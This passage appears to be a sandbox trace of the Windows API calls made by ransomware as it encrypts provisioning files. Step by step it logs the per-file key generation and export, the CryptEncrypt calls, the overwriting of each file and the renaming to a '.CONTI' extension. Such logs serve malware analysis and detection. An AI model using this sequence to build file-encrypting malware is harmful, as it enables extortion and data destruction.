	[0113.770] SetEndOfFile (hFile=0x3e8) returned 1
	[0113.770] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.770] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.770] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b449cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b449cc*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.773] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.773] ReadFile (in: hFile=0x3e8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2c8, lpOverlapped=0x0) returned 1
	[0113.773] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2c8, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2d0) returned 1
	[0113.774] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.774] WriteFile (in: hFile=0x3e8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.774] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.774] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b449c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b449c0*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0113.774] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.774] CloseHandle (hObject=0x3e8) returned 1
	[0113.774] GetProcessHeap () returned 0x1720000
	[0113.774] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.774] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml"
	[0113.774] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.774] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.775] GetProcessHeap () returned 0x1720000
	[0113.775] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.775] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.775] GetProcessHeap () returned 0x1720000
	[0113.775] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c5d38 | out: hHeap=0x1720000) returned 1
	[0113.775] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0113.775] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b46c00 | out: phKey=0x6b46c00*=0x17c8370) returned 1
	[0113.775] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46c04, pdwDataLen=0x3f7fc54 | out: pbData=0x6b46c04*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0113.776] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.776] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0113.776] GetLastError () returned 0x0
	[0113.776] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=714) returned 1
	[0113.777] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0113.777] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.777] SetEndOfFile (hFile=0x3e8) returned 1
	[0113.777] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.777] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.777] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b46c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b46c04*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.783] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.783] ReadFile (in: hFile=0x3e8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2ca, lpOverlapped=0x0) returned 1
	[0113.784] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2ca, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2d0) returned 1
	[0113.784] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.784] WriteFile (in: hFile=0x3e8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.784] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.784] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b46bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b46bf8*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0113.784] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.784] CloseHandle (hObject=0x3e8) returned 1
	[0113.784] GetProcessHeap () returned 0x1720000
	[0113.784] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.784] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml"
	[0113.784] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.784] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.785] GetProcessHeap () returned 0x1720000
	[0113.785] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.785] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.785] GetProcessHeap () returned 0x1720000
	[0113.785] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c52f8 | out: hHeap=0x1720000) returned 1
	[0113.785] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0113.785] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b45e50 | out: phKey=0x6b45e50*=0x17c8370) returned 1
	[0113.785] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45e54, pdwDataLen=0x3f7fc54 | out: pbData=0x6b45e54*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0113.786] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.786] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0113.786] GetLastError () returned 0x0
	[0113.786] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=713) returned 1
	[0113.786] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0113.787] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.787] SetEndOfFile (hFile=0x3e8) returned 1
	[0113.787] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.787] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.787] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b45e54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b45e54*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.794] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.794] ReadFile (in: hFile=0x3e8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2c9, lpOverlapped=0x0) returned 1
	[0113.794] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2c9, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2d0) returned 1
	[0113.794] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.794] WriteFile (in: hFile=0x3e8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.794] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.794] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b45e48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b45e48*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0113.794] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.794] CloseHandle (hObject=0x3e8) returned 1
	[0113.794] GetProcessHeap () returned 0x1720000
	[0113.794] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.794] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml"
	[0113.794] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.794] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.795] GetProcessHeap () returned 0x1720000
	[0113.795] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.795] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.795] GetProcessHeap () returned 0x1720000
	[0113.795] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c5588 | out: hHeap=0x1720000) returned 1
	[0113.795] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0113.795] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b46098 | out: phKey=0x6b46098*=0x17c8370) returned 1
	[0113.795] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4609c, pdwDataLen=0x3f7fc54 | out: pbData=0x6b4609c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0113.796] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.796] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0113.796] GetLastError () returned 0x0
	[0113.796] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=873) returned 1
	[0113.797] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x369
	[0113.797] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.797] SetEndOfFile (hFile=0x3e8) returned 1
	[0113.797] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.797] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.797] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b4609c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b4609c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.802] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.802] ReadFile (in: hFile=0x3e8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x369, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x369, lpOverlapped=0x0) returned 1
	[0113.802] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x369, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x370) returned 1
	[0113.802] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.802] WriteFile (in: hFile=0x3e8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x370, lpOverlapped=0x0) returned 1
	[0113.802] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.802] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b46090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b46090*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0113.802] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.802] CloseHandle (hObject=0x3e8) returned 1
	[0113.802] GetProcessHeap () returned 0x1720000
	[0113.802] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.802] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml"
	[0113.802] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml.CONTI"
